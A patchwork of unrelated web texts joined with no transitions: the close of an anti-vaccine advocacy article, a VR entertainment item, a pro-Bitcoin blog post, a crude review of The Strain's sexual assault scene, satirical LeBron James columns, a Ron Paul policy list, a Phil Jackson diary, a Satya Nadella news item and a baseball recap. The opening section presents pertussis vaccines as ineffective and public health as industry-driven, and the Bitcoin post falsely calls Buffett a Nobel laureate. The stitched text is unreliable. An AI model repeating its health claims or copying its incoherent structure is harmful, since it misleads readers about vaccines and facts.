The crusade by public health officials to kill the B. pertussis microbe by adding more and more doses of ineffective vaccines to the child and adult schedule – now even invading the once sacred place of the womb and insisting all pregnant women be vaccinated 102 103 - is a cautionary tale. As we witness a bacterial species efficiently adapting in an effort to survive a war that has been declared on it, what has become painfully clear is that the history of mass vaccination has not been driven by hard science transparently shared with the people. 104 105 It has been driven by the politics of a public health profession working a lucrative government-industry public private partnership to protect failed vaccine policies, while ignoring the hard science. 106 107
We, the people, are not going to pretend the science doesn’t exist. It is up to each one of us to inform public health officials and legislators that it is their responsibility to show us the science and give us a choice when it comes to vaccines, especially when no vaccine manufacturer, no public health official and no doctor is liable in a civil court of law when vaccine reactions and failures lead to injury and death. 108
Learn more on NVIC.org. Sign up for the free NVIC Advocacy Portal and become active in your state to protect vaccine exemptions from being eliminated by the Pharma, Medical Trade and Public Health industries.
Buckle up ladies and gents: VR is about to get a little hot and steamy. James Foley, director of Fifty Shades Darker, stated on stage at VR on the Lot that he is creating a VR experience for the upcoming erotic romance film. Details are scarce on the project at this time, but it was described as full of lots “action” — which can be inferred to mean something quite different than epic fight scenes or car chases.
Foley has been keeping the cast of the film on set after filming the core film sequences to bring in a 360-degree crew for additional work. The experience will be fully live-action with characters from the film, all shot directly in 360-degrees. We’re not sure how long the experience will last — hah! — or what equipment is being used — double hah! — but it is sounding like a fully-fledged high-quality Hollywood production. However, this has been described as a piece of promotional marketing material, meaning the exact degree of nudity and sex in the experience could be lower than the film itself.
For those blissfully unaware, the Fifty Shades series of books (by E. L. James) and films feature two main characters locked in a torrid love affair: Anastasia Steele and Christian Grey. Steele (played by Dakota Johnson) and Grey (played by Jamie Dornan) reprise their roles for the second film in the series. I used the phrase “erotic romance” very deliberately earlier, as the first film in the franchise, Fifty Shades of Grey, featured just about as many on-screen sex scenes as it did non-sex scenes.
Virtual reality can be used for lots of amazing and powerful things — one of which is porn. Interest in the topic is reaching all-time highs on the internet and former adult star Sasha Grey even explained that she felt VR porn was “too in your face.”
Regardless of whether or not you enjoy the books and films for what they are — poorly written, poorly acted, hot, steamy, arousing romance stories that could arguably be described as high-production value pornography — this is good news for VR. The bigger names and properties that get involved, the better off our budding new industry is in the grand scheme of things.
Fifty Shades Darker releases in theaters on February 10th, 2017.
“Stay away from it. It’s a mirage basically. It’s a method of transmitting money. It’s a very effective way of transmitting money and you can do it anonymously and all that. A check is a way of transmitting money too. Are checks worth a whole lot of money? Just because they can transmit money? I hope bitcoin becomes a better way to do it. But you can replicate it a bunch of different ways. The idea that it [bitcoin] has some huge intrinsic value is just a joke in my view.” (source: CNBC)
Since this statement, Bitcoin price rose seven times and it currently has more than $76 billions market cap. It is also true that Berkshire Hathaway, Buffet’s investment mammoth, has a market cap of $429.19 billion (source: Yahoo finance). What matters, though, in my opinion, is that, despite the blunt warning, Bitcoin kept rising. And it still rises.
My humble opinion is that Buffet overlooked some of the most fundamental benefits of the blockchain technology. That’s the risk of having 95% successful trades, you start to believe that everything you say or think is true. And, alas, unless you’re an awakened being, some sort of modern Buddha, you can’t be always right. You’re limited by your skills, knowledge, and experience.
Here are at least 3 major assets of the blockchain technology which are overlooked by Buffet’s statement above:
Data Immutability
Data inscribed in the blockchain is immutable. Once written, it cannot be changed. Not without a public signal that it has been changed and with a split of the data structure in two different data streams (also known as hardfork). A cheque cannot give you that. You can always rewrite cheques if you want, or some corrupted organization can start keeping double books and you’re screwed.
Data Availability
Because of the underlying technology, data in the blockchain is available 24×7. Scratch that: it’s always available, even in the case of some major power failure of 49% of the nodes.
A bank cannot provide that. They may claim they’re always available, but the very nature of their data storage structures prevent them to be truly 24×7 available. By the way, this is probably one of the most overlooked benefits of the blockchain technology, the ability to have data available always.
Absence Of Middle Man (Decentralization)
Strictly from a financial point of view, a cheque will always need a third party to validate it, a middleman. Bitcoin doesn’t need that. Not only this eliminates some huge costs, but it also increases a fundamental factor when it comes to value: trust. Wherever and whenever there’s a middleman involved, there will be a certain percentage of mistrust. That’s why we invented notaries, lawyers and all these structures to validate or to increase the trust between two parties.
These 3 benefits are roughly sketched on a silent morning and they can be further detailed, but, for now, I think there’s enough food for thought. Chances that Warren Buffet will ever read this article are close to zero. But I don’t think he needs it, to be honest. He still sits on a pile of money 6 times bigger than the entire Bitcoin market cap. And he has a fabulous track record as an investor.
But that doesn’t save him from the risk of being arrogant.
Warning: I’m just a guy who has been through some good times and some tough times as an entrepreneur, during the last 18 years, and currently keeping a day job. Warren Buffet is one of the most successful people in the world, Nobel prize winner and richer than a few countries. So please make your own judgment about the opinions expressed in this article. I may be right, or he may be right, but what matters, in the end, is that you have to be right about your own decisions.
But you did! You took one of your two-dimensional female characters and subjected her to the infinitely tired, awful sexual assault storyline, in a bid to give your show badly needed drama and some kind of personal stakes for its ancillary cast. I’d say shame on you—but The Strain has never had the awareness required to feel shame.
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In last night’s episode, Dutch has been captured by the vampire Eichorst, who is prepping her for a special meal for himself. As it turns out, Dutch reminds him of a girl he had a crush on back in ‘30s Germany, so it’s flashback time! Is Eichorst a sadsack loser with a crush on the hot blonde in the office? Yes! Is he last in the sales race that every sales company in the 1930s was apparently required to have? Check! Is the blonde Das Magic Pixie Dream Girl to his disaffected adulthood? YOU KNOW IT. Does the blonde turn him down, and does he join the Nazi party to bully those who have belittled him? Of course he does.
Even before the cliché-filled origin story, Eichorst gives off a real MRA/mansplaining vibe, especially when he starts uttering about Dutch being one of those girls who dresses to get attention. Coupled with the fact that Dutch is chained up in Eichorst’s “dining” room and forced to obey his whims (such as eating pineapple to “season” her) under threat of physical violence, the metaphor for sexual assault is obvious, if not quite overt.
And then it gets overt.
Yes, a vampire—with a mouth-tentacle—demands Dutch take off her pants. He sits down on the floor, then orders Dutch to bend over—because he’s going to perform oral sex/tentacle-rape this female character.
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Yes, with no better story to tell—as has been evidenced all season—The Strain has decided to sexually assault one of its female characters, to add a bit of “drama” to the proceedings. The fact that all of this flies in the face of the shoddy information the show has given us about the vampires—that they have no emotions and are beyond humanity—is adding insult to injury. (As is the fact that Eichorst absolutely does not need to have his evilness established, since he’s already a Nazi vampire.)
The tragedy—well, one of the tragedies—is that when most shows and movies and so forth pull this, it’s recognized as the laziest of storytelling. But The Strain’s storytelling is so weak, so slow, so pitiful, that this horrible, clichéd story is honestly the most dramatic the show has been all season. However, this does not excuse The Strain at all. Unless The Strain somehow manages to treat this event with the magnitude, the respect, and the horror it deserves, this will merely be another example of a show exploiting another poorly written female character for a cheap thrill. I believe the chances of The Strain pulling this off are slim at best.
Anyway, Dutch escapes at the last minute, by spraying Eichorst in the face with mace—which is another thing the show’s mythology has never once intimated, given that vamps ignore all other wounds, except head wounds—and runs around the corner. And then the show turns into a standard del Toro horror flick, with Dutch running around myriad halls, unable to escape, while Eichorst saunters after her like a Nazi Pepe le Pew. It takes forever for Eichorst to catch her and start dragging her back, at which point of course Eph, Nora and Fet, having heard her screams, burst through a brick wall, throw a silver grenade at Eichorst, and rescue Dutch at the last second. Of course, Eichorst gets away, again, meaning the show’s larger status quo remains unchanged.
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At least Ruta Gedmintas plays Dutch as truly traumatized by what’s just happened, and the other characters seem to acknowledge the true horror of what she’s been through. Again, I have my doubts that The Strain will be able to continue treating this situation with the gravity it deserves, and I worry things will be nauseatingly back to normal next episode.
I would love to be wrong. But then, I would also love The Strain’s second season to be over.
Other storylines:
Setrakian was of course knocked on the head last episode by the grown-up Rudyard Fonescu, who eventually brings the Lumen to black marketer Alonso Creem, in another almost shockingly uninteresting delaying tactic to keep the maguffin out of Setrakian’s hands.
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Gus and Angel get the Indian family out of New York City with help from Quinlan’s lackey. Then Gus and Angel get in a car with Quinlan’s lackey. This is the 11th episode; there are only two left. Only next week do either of these characters finally have the opportunity of doing something interesting in this goddamned show.
Assorted Musings:
• After the first episode of the season, Team Vampire Hunter needed to find the Lumen, and Eldritch Palmer and the Master’s plan had not yet come to fruition. Gus was working with a group of vampire-hunting vampires. That’s about it.
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• What the hell has changed? Eph and Nora have developed a vampire-killing virus, but done nothing with it. Angel has been introduced, and has done nothing. Eldritch has fallen in love with Coco, which hasn’t affected his plan with the Master at all. There’s now a love triangle between Fet, Dutch and Nicki, and it’s boring as hell. The Master has a new body, and achieved nothing with it. Gus is working with a new vampire-hunting vampire, and they have achieved nothing.
• That’s how little has happened in 11 episodes, and in terms of the broader battle between humans and vampires, nothing has changed at all. AT ALL.
• Fuck this show.
But what we do know is that wherever LeBron goes, a sports columnist somewhere will have opinions about what LeBron James has done. Like the snake and the mongoose, like the giant squid and the whale, these two are eternally pitted against each other. LeBron James will win or lose and sports media will say that he is a horrible, very bad person.
We can't preview LeBron James' actual free agency outcome, but we can preview what sports columnists will say about it. Here are columns about every single decision LeBron could possibly make in the next few days, along with a few he probably won't.
Heat | Cavs | Suns | Rockets
Mystery scenario 1 | Mystery scenario 2 | Mystery scenario 3 | Mystery scenario 4
LeBron stays with the Heat
Bob Donnan-USA TODAY Sports
For LeBron James, it's not about Miami -- it's about Mia-ME.
When he's winning, LeBron wants us to know he's the greatest. When he's losing, LeBron still makes it about him, cramping up so the cameras stay on him even in the middle of an important game. Cameras even followed LeBron down the hallway when he had to use the bathroom during a Finals game.
Surely, once the offseason came, we could stop paying attention, right?
Not a chance. Even in July, The LeBron Show keeps rolling. While Tim Duncan -- the guy who actually won the NBA championship -- quietly opted into his contract to remain with the Spurs, the Most Valuable Runner-Up made something that shouldn't have been news into the world's biggest story.
Congrats, King James. You used your royal powers to get us all to watch. But while thinking about how great you are, you lost the opportunity to win back your most loyal subjects: The fans in Cleveland.
Simply ditching his hometown on live TV four years ago wasn't enough. He had to give his former faithful the hope that he might return, only to dash their hopes once again.
2014 is the Selfie Era. It's no surprise the guy with his own app wants to make everything about him.
LeBron goes back to Cleveland
Brian Babineau/NBA
The Chosen One? More like the Chosen Cut-and-Run.
LeBron James had everything he wanted in Miami, from the glitz and glamor of South Beach to a team of superstars built around him that was good enough for four straight trips to the NBA Finals.
And that's where things got tough. In five career trips to the championship series, LeBron has managed to win just twice, a pitiful 40 percent Finals record. That sound you hear is Jordan and Kobe -- and Tim Duncan -- scoffing.
LeBron went to Miami because he thought he was ready to play with the big boys. But when the bullies showed up on the playground, he did what any petulant schoolchild would and ran all the way home.
In Cleveland, he won't have to worry about winning the big game, because there won't be any big games. Could Kyrie Irving and Andrew Wiggins be great someday?
Maybe. But right now, they're unproven. LeBron is in the prime of his career, trading the guys who just took him to four straight finals for some guys who have been in a grand total of zero NBA playoff games.
Let's hope for LeBron's sake they never get good enough for LeBron to have to choke again. Or else in 2018, he might have to decide to head back to Miami.
LeBron signs with the Suns
Robert Mayer-USA TODAY Sports
2010 brought us "The Decision."
2014 brought us "The Deci$ion."
When LeBron James opted out of his contract with the Heat, we assumed he'd use his free agency to find the best opportunity to win. We forgot we were dealing with LeBron James, for whom winning has never been the No. 1 priority.
In his career, LeBron has earned $129 million. He could buy himself a new Lamborghini and a new Rolex every year for the rest of his life and still have more money than you or I will ever make left over. And that's before factoring in what he gets in sponsorships.
But the mountains of money weren't enough. Instead of trying to win with the Heat, he took cold hard cash.
I remember when our superstars used to play for the love of the game. The stars of the 50's and 60's and 70's barely made more than the milkman, but they played for the roar of the crowd and the thrill of victory. Hell, Dave Cowens drove cabs to make ends meet.
LeBron would rather tune out the crowd with his Beats by Dre headphones and he'd rather fill his bank account with money than fill his mantle with trophies.
LeBron doesn't care if he'll ever make the Hall of Fame. He only cares if he'll make the Hall of Pay-Me.
LeBron signs with the Rockets
Bob Levey/Getty Images Sport
We've criticized LeBron James for his flopping, but maybe we should've criticized him for his flip-flopping. Just four years after taking his talents to South Beach, he's taking them from South Beach.
His squad of SuperFriends wasn't good enough, so he's headed to Houston, where a new pair of stars -- Dwight Howard and James Harden -- are waiting.
LeBron is treating the NBA like his personal Baskin-Robbins -- we have 30 flavors, take a sampling of each before deciding your Team of the Month. But his sweet tooth shows why he'll never be one of the great ones.
The great ones didn't seek the easy road to greatness. They worked for everything they had. Michael Jordan never wandered. He had Scottie Pippen, and that was good enough for him.
Not LeBron.
He's not taking the cards dealt to him and making the best of it. He's trying to reshuffle the deck so he ends up with four aces.
Winning was too hard in Cleveland, so he left them behind for better teammates. Then winning with his new SuperFriends turned out to be too hard, so he's leaving them behind for -- supposedly -- better teammates.
Maybe the Rockets will win with LeBron, maybe they won't. But either way, Dwight and James shouldn't get too attached. If they don't win fast, LeBron will be out the door for his next group of superstars to lose with.
LeBron reveals he is a long-standing member of the Illuminati, which will make his free agency decision for him
Maybe you got distracted by LeBron James' big announcement.
Maybe you got blinded by the flash and deafened by the bang. Yes, there is a global shadowy conspiracy that has controlled the vast majority of world events, from international politics to entertainment, since the fall of the Roman Empire.
Maybe that's exactly what LeBron wants to happen.
LeBron and his friends -- presidents, rappers, and, as the human race saw for the first time today, Satan, the Prince of Darkness, who is very real and caused several reporters at the press conference to pass out from the overwhelming smell of sulphur -- can rig elections. They can cause wars. They can keep the balances of power and wealth to remain in the hands of the wealthy and evil.
But if LeBron has been in this group, how come he's only won two NBA championships?
The answer is obvious: LeBron James lacks the willpower to win. If he had the desire of a true champion, he'd have praised Baphomet enough to win his team more titles.
But he didn't.
We don't know if Michael Jordan was in the Illuminati or not. Quite frankly, that doesn't matter. If he won his titles by straightforward or nefarious means, he still won them.
LeBron James thinks he's bigger than basketball. Sure, LeBron's in an evil, all-powerful cabal, but don't let that fool you into thinking he's a good ca-baller.
LeBron is leaving hoops to focus on philanthropic endeavors
Many will applaud LeBron James for leaving sports behind to focus on the less fortunate. But his decision to ditch his on-court endeavors reveals something we always knew: The supposed King cares too much about others to truly rule.
We've seen LeBron pass in key moment after key moment. Some applauded his "playmaking ability." Others were smart enough to realize that he was dishing on his responsibility to help his team win.
In the end, it was that so-called selflessness that cost him. The inability to close late and in championship series left LeBron with a lackluster resume after being deemed the potential greatest of all time.
But LeBron realized something while going out of his way to help everybody else. If you really want to help others, sometimes you have to do the work yourself.
If LeBron hadn't worried about hurting his teammates' feelings and put the ball in the hoop himself, he'd have won more on the court. And you know what? Dwyane Wade and Chris Bosh and everybody else on his team would've happily cashed their checks as champions.
And if LeBron really wants to do the best thing he can for charity, he'd keep playing as long as he can. Earn as much money as possible so he can donate as much of it as possible to charity. Stay in the public spotlight for as many years as you can so your name means as much as possible.
I'm sure the needy will love to be helped by LeBron James, two-time NBA champion. But if he really wanted to help them out, he'd try his best to become LeBron James, four- or five-time NBA champion.
What LeBron wants is for us to think he's doing as much as he can. But by renouncing his throne, the King is proving he'd rather be seen as great than actually be great.
LeBron makes himself a peanut butter and jelly sandwich with a glass of milk and some cookies
You can't please everybody. That's something adults understand.
But LeBron James isn't an adult, and his snack choice Sunday afternoon is just the latest example.
Fans of peanut butter get to walk away happy, watching the superstar smear their beloved smooth legumes over a piece of white bread. Fans of jelly get to walk away happy, seeing the four-time MVP spread their favorite mashed fruits on another piece of white bread.
LeBron James wants to be all things to all people. He couldn't pick a team, changing from Cleveland to Miami to who-knows-where, trying to endear himself to locals across the country. He can't decide whether he wants to score and be the hero or whether to pass and let his teammates look good.
Is that why you disappear down the stretch, LeBron? Too busy worrying about fans of the other team going home sad?
LeBron wants to preserve his image, so he can be the smiling face on your box of Whatever Cereal Pays Him The Most. And that's why he compromises by doing things like eating peanut butter and jelly on the same sandwich.
But winners never compromise. Winners know they have to win, regardless of whether it costs them fans.
Like I said, adults understand sometimes they have to hurt people's feelings. Maybe LeBron will understand that when he grows up from his milk and cookies.
LeBron saves a village from a dragon
A few swings of his sword, some smiles for the cameras, and LeBron James was on to the next thing. Just like on the basketball court, he was the big hero.
But when LeBron killed Jormungandr, he killed a lot more than the enormous dragon that has ravaged the peasant village of Drayton-upon-Pembersham since the 1200's.
LeBron killed the town's fire department, who won't have to scurry to save thatched-roof cottages anymore. Soon, dozens of brave firemen will have to go home to their kids and explain why they don't have jobs anymore.
LeBron killed the town's tourism industry, which for decades has convinced thrillseekers far and wide to marvel at the majestic beast. The gift shop always sold t-shirts saying "I SURVIVED JORMUGANDR," but the gift shop won't be able to survive LeBron James.
And LeBron killed a one-of-a-kind animal, the likes of which the world has never seen. Sure, this magical monster killed thousands over the centuries, but when it came down to it, it was just an organism trying to see tomorrow. Who are we to blame it for breathing fire and feasting on children? That's just its nature.
Sure, LeBron, good job. You slayed the beast, creating a photo op that Nike and Powerade and Samsung and all your other sponsors will use for as many centuries as it haunts this village.
Here is Dr. Ron Paul's 11-point plan:
11. Energy Independence: Eliminate the federal gas tax of $0.18 per gallon and eliminate the EPA, allowing prosecution of polluters to answer to citizens, not Washington, and allowing coal, oil, nuclear and other forms of energy to be safely explored.
10. Education: Dr. Paul would like to see the U.S. Department of Education return its powers to the states and parents. He proposes and intends to give parents a $5,000 tax credit per child for kids K-12 to help with all the costs of education. He is supportive of home-schooling and will veto legislation that interferes with parents choosing to home-school their children.
9. Workers' Rights: Dr. Ron Paul is against forcing workers to join unions and pay dues if they do not want to, citing the $8 billion that union leaders bring in annually that is often given to political candidates. He does not want workers forced to belong to unions or to be under union control against their will.
8. Protect Gun Rights: Protecting the right of Americans to keep and bear arms. Here is an example of a town that required each head of household to own a gun. This policy resulted in decreased crime.
7. Heath Care: Dr. Ron Paul will repeal Obamacare, allow for tax credits and deductions for all medical expenses and not allow money that belongs in Medicare or Medicaid to be misused for other purposes. He will protect the privacy of American citizens' medical records from the federal government, remove barriers for all citizens to have HSAs and keep the FDA out of vitamins and alternative treatments. Also, he wants to provide payroll deductions for terminal illnesses and caregivers.
5. Immigration: In Dr. Paul's own words:
Immigration reform should start with improving our border protection, yet it was reported last week that the federal government has approved the recruitment of 120 of our best trained Border Patrol agents to go to Iraq to train Iraqis how to better defend their borders! This comes at a time when the National Guard troops participating in Operation Jump Start are being removed from border protection duties in Arizona, New Mexico, and Texas and preparing to deploy to Iraq and Afghanistan! It is an outrage and it will result in our borders being more vulnerable to illegal entry, including by terrorists.
Also, we need to take serious steps to prevent terrorists from gaining easy access to targets on our soil. Quite alarmingly, even with the knowledge that the 19 terrorist hijackers entered our country legally, and that 15 of them were from Saudi Arabia , student visas from terrorist sponsoring countries are still far too easily obtained. In a baffling move President Bush struck a deal with Saudi King Abdullah in 2005 to allow 21,000 more Saudi young men into the US on student Visas. Of course, not all students from terror sponsoring countries are terrorists, but I place a higher premium on the security of the American people than the convenience of citizens of hostile countries. We should not be making the goals of would-be terrorists easier to accomplish, but rather should be vigilant about defending against enemies at every turn. They should not be slipping through our doors so easily, using our immigration laws against us, and that is why I proposed the Terror Immigration Elimination Act (HR 3217) to toughen standards for VISAS from countries on the State Department's list of terrorist sponsoring countries in addition to Saudi Arabia . Just as you decide who to invite to a dinner party in your home, we should be in charge of who we allow in this country, without apology.
Also:
Both the Bush administration and congressional leadership have promised to spend the next two months addressing national security issues. But real national security cannot be achieved unless and until our borders are physically secured. It's as simple as that. All the talk about fighting terror and making America safer is meaningless without border security. It makes no sense to seek terrorists abroad if our own front door is left unlocked.
In short, Dr. Paul's plan is to secure the border, end amnesty, abolish welfare to illegal immigrants, end birthright citizenship and protect lawful immigrants.
4. National Defense: Dr. Paul's approach is simple. He believes in a strong national defense and is against militarism -- in other words, protect the U.S. but do not police the world and require congressional approval before declaring war. The last time the U.S. formally declared war was World War II in 1941. Dr. Paul would bring the troops home to protect America. Dr. Paul said he would get the troops home as soon as the ships would get here. He is the largest recipient of donations from soldiers in the U.S. military, getting 71 percent of all military donations.
3. Taxes: Dr. Paul would support an amendment to the U.S. Constitution that abolishes income and death taxes. Ideally, he'd like to close the IRS. He would seek to repeal capital gains taxes and reduce then abolish taxes on Social Security. Before a flat or fair tax would be implemented, Dr. Paul would ensure that the 16th Amendment, which made income taxation legal, would be repealed so we don't end up with both.
2. End the Fed: The Fed was created in a time of turmoil and seems similar to the Patriot Act in that it was done from a position of hysteria, not logical and rational decision-making. The U.S. Constitution is considered such a well thought-through document as it was drafted in a time of peace rather than as a reaction to a panic. Documents and policies that are reviewed and seen in the light of day by calm, rational people tend to be better for the long-term wellness of the people than policies passed quickly in an emotional, reactive and hurried manner. Dr. Paul equates the Fed with deeply-in-debt parents sending their teenagers out with credit cards and blank checks. Dr. Paul's ultimate goal would be to see the Fed end, yet he would not act rashly. What his focus would be is a full and complete audit of the Fed, as Congress is currently unable to audit the Fed. Dr. Paul would commit to passing legislation that requires transparency and accountability from the Fed. At this time, the Fed can keep secret to whom they are lending trillions of taxpayers' dollars. If the Fed is handling American money responsibly, for what reason would they refuse to open their books? We American citizens are all subject to audits from the IRS, but the U.S. central bank is not? Please take three minutes to watch this amazing video of Bernie Sanders asking Ben Bernanke, where $2.2 trillion of taxpayer money is. Bernanke will not answer the question and will not disclose where $2.2 trillion went, and he doesn't have to.
1. Economy: Dr. Paul's plan is to audit the Fed, veto any unbalanced budget and refuse to raise the debt ceiling. He is also committed to getting rid of self-dealing and corruption in D.C. Additionally, he will eliminate income taxes, capital gains taxes and death taxes. It would be a breath of fresh air to have the Fed audited and wasteful government spending eliminated, and to actually be able to keep more of the money we make. America's debt did not come out of nowhere. In 2008, the U.S. had spent $3 trillion on the war in Iraq. The current costs are at $3.2 to $4 trillion. How much did we vote to increase the debt ceiling? We raised the $14.3-trillion debt ceiling by $2.4 trillion, to $16.7 trillion on Aug. 2, 2011. Here is a great 10-minute video with Dr. Paul clearly stating how, if elected president in 2012, he would balance the budget in one year.
In this discussion, I request that emotional reactions and sarcasm be set aside. The goal is an accurate, clear and truthful dialogue. We are blessed with a group of knowledgeable Americans making comments here. What I want to suggest is that we discuss what is best for the greater good for our country, not just for ourselves.
Any presidential choice we make involves a risk. Is he lying and manipulating to win the election, or is he honest? Will she serve American citizens ethically and honorably as president? The U.S. Constitution was created to unite the states in our country in certain crucial areas, like national defense, while allowing states their autonomy and uniqueness. In the spirit of Mr. Smith Goes to Washington, good character is the most essential quality to bring to our government. Dr. Paul combines solid character and backbone with seasoned wisdom and experience. He has not compromised the values and principles that America holds dear.
Date: Jan. 10, 2015
Knicks record: 5-35
Back in the mid-1980s, when I was an assistant coach for Phil Jackson's Albany Patroons in the CBA, our usual game-day routine consisted of the following:
• A 65-minute drive from Woodstock, New York, to Albany to conduct a 10 a.m. shootaround.
• A workout on the Nautilus circuit at a nearby health club.
• A 30-minute game of one-on-one going up and down the club's small court (my record against him was approximately 1-125).
• A session in the steam room.
• Lunch at our favorite Chinese restaurant.
• Dessert at a bar on Swan Street, to savor a large cup of coffee laced with Bailey's Irish Cream.
• Head over to the Washington Avenue Armory for the game at hand.
So today, Shun Lee West -- a Chinese restaurant on 65th Street -- it is after a 110-82 loss to the Hornets, the Knicks' 15th in a row.
As we near the restaurant, Jackson gets a quarter from Marty, his driver and bodyguard.
"OK," Jackson tells Marty. "I'll flip it and you call it. If you lose, you'll have to park the car and wait until we're finished, then drive me home and drive Charley to the Port Authority. If you win, you can go home."
"Tails," says Marty.
It's tails. (What Jackson didn't say was he would continue flipping the coin until Marty made the right call.)
If Jackson is recognized as we're led to a semiprivate corner table, none of the customers or staff look twice at him. Over soup, he discusses the roots of the recent three-team trade that sent J.R. Smith and Iman Shumpert to the Cleveland Cavaliers in return for three non-guaranteed contracts -- Alex Kirk, Lou Amundson and Lance Thomas -- and the Cavs' second-rounder in 2019.
The Knicks were winless on a November Southwest trip, losing to Houston, Dallas and Oklahoma City, but there was even worse news from his staff.
"J.R. had been exhibiting some delinquent behavior and had gotten into the habit of coming late to team meetings, or missing them altogether," Jackson says. "Also, Shump and Tim [Hardaway Jr.] were regressing, so I decided to meet with them separately and try to find out what, if anything, was bothering them."
Smith was first on the list. "We talked about his statement to the press that our shooting guard depth was going to be the team's asset, but so far it hadn't worked out that way," Jackson says. "He was supposed to carry the scoring load for the second unit and he wasn't doing the job. I also said that because of his unacceptable behavior, he had two strikes against him with this team. He didn't really respond. He's a very sensitive guy, with his big doe eyes. He looked like he was going to tear up. But he finally responded that he was going through some issues with his gal."
Shumpert was next in line. "After he suffered a hip injury in Dallas, his game went rapidly downhill. Did he have any other issues to explain his decline? He said, 'No. I don't know what has gone wrong with my game.' As with J. R., nothing got resolved."
Hardaway was more responsive, he says. "I told him he was casting the ball instead of shooting it. And if his man scored on him at the other end, Tim tried to get back at him by forcing up some kind of shot. Plus, his defense was hurting the team. He was not closing out on 3-point shooters and forcing them to put the ball on the floor, not trusting that defensive help would arrive on the second dribble. Still, [Derek Fisher] told me that Tim's defense was actually improving, so I didn't harp too much on that."
Hardaway seemed to take the comments to heart, Jackson says, and vowed to work on his flaws. "On New Year's Eve, we played an afternoon game in L.A. against the Clippers," Jackson says. "We stayed overnight in L.A. on New Year's Eve, so whatever might go on probably doesn't help that we have a game the next day. "I asked Fish what players were the biggest distractions. He said that although J.R. never talked back to him, he always walked around under a dark cloud. Derek was worried that negative energy was contagious."
"I asked [Derek Fisher] what players were the biggest distractions. He said that although J.R. [Smith] never talked back to him, he always walked around under a dark cloud. Derek was worried that negative energy was contagious." Phil Jackson, in January
Shumpert was another problem. "I like Shump," says Jackson, "but he has a very loud, big personality. It was difficult for most of the other guys to deal with, especially if things don't go well for him or the team."
The other nuisance, according to Jackson, was Sam Dalembert, who had fallen asleep in the pregame locker room sessions.
"These aspects presented problems that D-Fish doesn't think are going to get our season turned around and, more than that, won't establish this 'culture' we're trying to develop."
Jackson saw no other way. He had to make a deal.
"We made the trade to Cleveland because that was the best place to get J.R. and Shump playing ball the right way. The money that comes back to our cap situation is the benefit of these trades. We need to get out from under our obligations of contracts."
Did he consult Carmelo Anthony, who had played alongside Smith for almost his entire career, before pulling the trigger?
"Not at all," Jackson says. "If I had done so, Carmelo would have to lie to the media when they asked him about that possibility. If we ever had the opportunity to bring in an All-Star player, I'd certainly ask Carmelo if he thought he could play with the guy. Otherwise, it's appropriate to keep him out of the loop."
The three players sent to New York in the deal were promptly waived, and Amundson and Thomas soon signed 10-day contracts. "They can help us," Jackson says. "Lou's experienced, he can bang, and he knows his role. Thomas is a good shooter, and Fish said he had gotten good reports about him from his contacts in Oklahoma City. I figured we'd have two 10-day periods to get a closer look at him, so we signed him as well. Kirk we simply cut loose."
The owner of the restaurant accompanies our waiter as the latter brings us poached codfish. With it, the owner proffers a photograph of a much younger Jackson wearing a Chicago Bulls sweat suit. Jackson gladly obliges the owner's request for an autograph.
His time with the Bulls seems so long ago now, with the Knicks closer to picking at top of the draft than the top of the standings.
At best, the Knicks would get the first pick and tab center Jahlil Okafor, although Jackson thinks he might not be aggressive enough. "Also, if you look at the guys who came to the NBA from Duke, aside from Grant Hill, which ones lived up to expectations?"
International
oi-Sandra
Seattle, Oct 10: Microsoft CEO Satya Nadella raised a few eyebrows on Thursday when he was speaking at a three-day conference in Phoenix, Arizona.
Speaking at the event Nadella was asked, how should women get ahead in the tech world to which he replied: "Women in technology should not ask for raises but have faith in system. It is not really about asking for the raise, but knowing and having faith that the system will actually give you the right raises as you go along."
Because that is good karma. It'll come back because somebody is going to know that's the kind of person that I want to trust, he added.
Following his comment, there was a huge uproar on Twitter as many criticised him for his sexist comments-
"Hi boss. I'd like a 15%-30% rise in my good karma, please." Women, ask for your next raise @satyanadella style. http://t.co/6YAl7vwe8v — Nilanjana Roy (@nilanjanaroy) October 10, 2014
the people you think ought to know, don't. Pay for the work, not the gender. how hard is that. @satyanadella #Feminism101 — Gayatri Jayaraman (@SellingViolets) October 10, 2014
My wife works in tech. I know how hard she's had to fight for her successes. It didn't come because she waited for "karma". @satyanadella — oculus (@daddy_san) October 10, 2014
However hours after being bashed on the net, Nadella apologised for his comments and said that men and women should get equal pay for equal work
Was inarticulate re how women should ask for raise. Our industry must close gender pay gap so a raise is not needed because of a bias #GHC14 — Satya Nadella (@satyanadella) October 9, 2014
PHOENIX (AP) — Nine days past his 26th birthday, Craig Kimbrel is the Atlanta Braves' career leader in saves.
That number figures to get a lot bigger before he's through.
Kimbrel got the final four outs in the Braves' 5-2 victory over the Arizona Diamondbacks on Friday night, earning his 16th save of the season (in 18 tries) and 155th of his career. That's one more than John Smoltz.
Those 155 saves have come in 172 opportunities.
"I've been a part of a lot of good teams and had a lot of opportunities," Kimbrel said. "Having the chance my first full season to be a closer, that doesn't happen very often and that's why we're sitting here talking today, because I had that opportunity a lot of guys don't have.
"I feel blessed and grateful for it."
Kimbrel had one save in 2010, 46 in 2011, 42 in 2012 and 50 in 2013.
"I've played with him for four years and some change and he's already the franchise leader in saves," teammate Jason Heyward said. "That's pretty cool."
Hayward drove in three runs, two with a home run, and Andrelton Simmons doubled in a run for the Braves.
Julio Teheran (6-3) gave up two runs and five hits in seven innings to win his fourth straight decision.
Didi Gregorius became the first Diamondback to hit leadoff home runs in consecutive starts. He did it Wednesday in Colorado, sat out Thursday's game, then did it again Friday.
Arizona's Brandon McCarthy (1-8) allowed three runs and nine hits in 6 1-3 innings, striking out nine and walking one.
McCarthy singled in the tying run in the fifth, his first career RBI.
Kimbrel entered the game with two outs and a runner at first in the eighth inning and got his former Atlanta teammate Martin Prado looking to end the inning.
With a three-run lead in the ninth, Kimbrel got Aaron Hill and David Peralta to fly out, then Tuffy Gosewich popped out to end it.
It was just his third career four-out save.
"He hadn't pitched since last Saturday," manager Fredi Gonzalez said, "so we were able to do that."
The Braves broke a 2-2 tie in the seventh when, with one out, Heyward drew the only walk McCarthy allowed. Simmons lashed a double to the corner in left, scoring Heyward from first.
The Atlanta leadoff hitter used his long arms to connect with a ball that was high and outside and drove it to the opposite field.
"It was a pitch I don't expect to get hit at all," McCarthy said. "It was right where I wanted it. It was a hard four-seamer up and away and I wanted to use it to establish something else. He took a good swing at it and hit a home run. I was pretty surprised."
They added another run in the ninth on Heyward's RBI single.
Right fielder Gerardo Parra robbed Simmons of an extra-base hit and probably saved a run with a diving grab in the ninth.
